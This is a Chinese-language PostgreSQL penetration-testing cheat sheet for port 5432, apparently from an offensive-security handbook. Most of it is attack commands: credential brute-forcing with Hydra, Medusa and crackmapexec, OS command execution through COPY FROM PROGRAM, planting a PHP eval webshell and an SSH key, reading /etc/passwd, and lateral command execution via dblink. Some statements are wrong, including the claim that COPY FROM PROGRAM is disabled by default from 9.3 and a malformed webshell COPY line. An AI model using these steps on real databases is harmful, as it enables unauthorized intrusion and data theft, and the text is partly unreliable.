5432 - PostgreSQL 渗透
漏洞概述
PostgreSQL 是开源的关系型数据库,常见漏洞包括弱口令、命令执行、提权等。
影响版本: 所有版本
危害等级: ⭐⭐⭐⭐⭐
信息收集
端口扫描
# Nmap 扫描
nmap -sV -p 5432 <TARGET_IP>
# PostgreSQL 枚举
nmap --script pgsql-* <TARGET_IP>
版本识别
# 直接连接
psql -h <TARGET_IP> -U postgres
# 查询版本
SELECT version();
漏洞利用
方法 1: 弱口令爆破
# Hydra 爆破
hydra -l postgres -P /usr/share/wordlists/rockyou.txt postgres://<TARGET_IP>
# Medusa 爆破
medusa -h <TARGET_IP> -U users.txt -P passwords.txt -M postgres
# crackmapexec
crackmapexec postgres <TARGET_IP> -u postgres -p password
方法 2: 未授权访问
# 直接连接(无密码)
psql -h <TARGET_IP> -U postgres
# 查询数据库
\l
# 查询用户
SELECT usename FROM pg_user;
方法 3: pg_hba.conf 配置不当
# 检查 pg_hba.conf
# 如果允许 trust 认证,可直接连接
# 修改 pg_hba.conf 添加信任
host all all 0.0.0.0/0 trust
命令执行
COPY 命令执行
-- 创建测试表
CREATE TABLE cmd_exec(cmd_output text);
-- 执行命令
COPY cmd_exec FROM PROGRAM 'id';
-- 查看结果
SELECT * FROM cmd_exec;
-- 清理
DROP TABLE cmd_exec;
写入文件
-- 写入 Webshell
COPY '<?php @eval($_POST["cmd"]);?>' TO '/var/www/html/shell.php';
-- 写入 SSH 公钥
COPY 'ssh-rsa AAAA...' TO '/home/postgres/.ssh/authorized_keys';
读取文件
-- 创建临时表
CREATE TEMP TABLE temp(t text);
-- 读取文件
COPY temp FROM '/etc/passwd';
-- 查看内容
SELECT * FROM temp;
提权路径
PostgreSQL 提权到系统
-- 利用 COPY FROM PROGRAM
COPY (SELECT '') TO PROGRAM 'whoami';
-- 利用扩展
CREATE EXTENSION IF NOT EXISTS plpgsql;
数据库提权
-- 查看权限
SELECT * FROM pg_roles;
-- 提升为超级用户
ALTER USER postgres WITH SUPERUSER;
内网渗透
链接服务器
-- 创建外部数据包装器
CREATE EXTENSION dblink;
-- 连接远程数据库
SELECT * FROM dblink('host=<IP> user=postgres password=pass dbname=test', 'SELECT version()') AS t(version text);
横向移动
-- 利用 dblink 执行命令
SELECT * FROM dblink('host=<TARGET_IP> user=postgres', 'COPY (SELECT '''') TO PROGRAM ''whoami''') AS t;
防御建议
-
禁用 COPY FROM PROGRAM
-- PostgreSQL 9.3+ 默认禁用
-- 不要手动启用
-
强口令策略
- 最小长度 14 字符
- 使用 md5 或 scram-sha-256 加密
-
配置 pg_hba.conf
# 限制访问
host all all 127.0.0.1/32 md5
host all all ::1/128 md5
-
最小权限原则
- 不要使用 postgres 超级用户
- 创建专用账户
-
启用审计
参考链接